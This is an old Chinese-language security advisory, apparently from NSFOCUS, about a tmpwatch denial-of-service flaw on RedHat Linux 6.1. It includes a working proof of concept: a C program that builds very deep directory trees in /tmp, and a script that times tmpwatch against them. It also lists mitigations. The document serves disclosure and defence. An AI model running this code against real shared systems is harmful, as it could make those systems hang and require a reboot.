Tmpwatch 大量fork()进程导致拒绝服务攻击
发布日期:2000-09-12
更新日期:2000-09-12
受影响系统:
Tmpwatch
+ RedHat Linux 6.1 i386
描述:
任何对 /tmp或者/var/tmp有写权限的用户都可能利用tmpwatch导致redhat 6.1(或者其
他通过crond运行tmpwatch的系统)停止响应,可能要求系统重新启动才能回复正常工作
。用户只要在/tmp下创建一个拥有很多i节点的目录树就可以进行攻击。对于/tmp下的
每一级目录,tmpwatch都会fork()出一个新的进程,占用大量系统资源,并导致系统瘫
痪。
<* 来源:zenith parsec (
zenith_parsec@the-astronaut.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
---START---cut---:a.c (mode 644)
//
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
int c=0,d=0;
if (argc!=2)
{
while(!chdir("./A"))c++;
chdir("..");
printf("c=%d removing\n",c);
while(!rmdir("./A")) {chdir("..");c--;}
if(c)printf("erm. bad thing.\n");
}
else
{
c=atoi(argv[1]);
printf("c=%d making.\n",c);
while(c--)
{
mkdir("./A",0777);
chdir("./A");
}
}
}
--END---cut-----:a.c
# ./testscript
(code follows)
---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results
--END---cut-----:testscript
建议:
临时解决方法:
NSFOCUS建议您暂时停止使用tmpwatch,并在删除/etc/cron.daily/tmpwatch。
您也可以在quota中限制对/tmp文件系统进行i节点数量的限制,例如:
1, limits (soft =512 , hard = 1024)
厂商补丁:
目前厂商没有提供补丁
浏览次数:6966
严重程度:0(网友投票)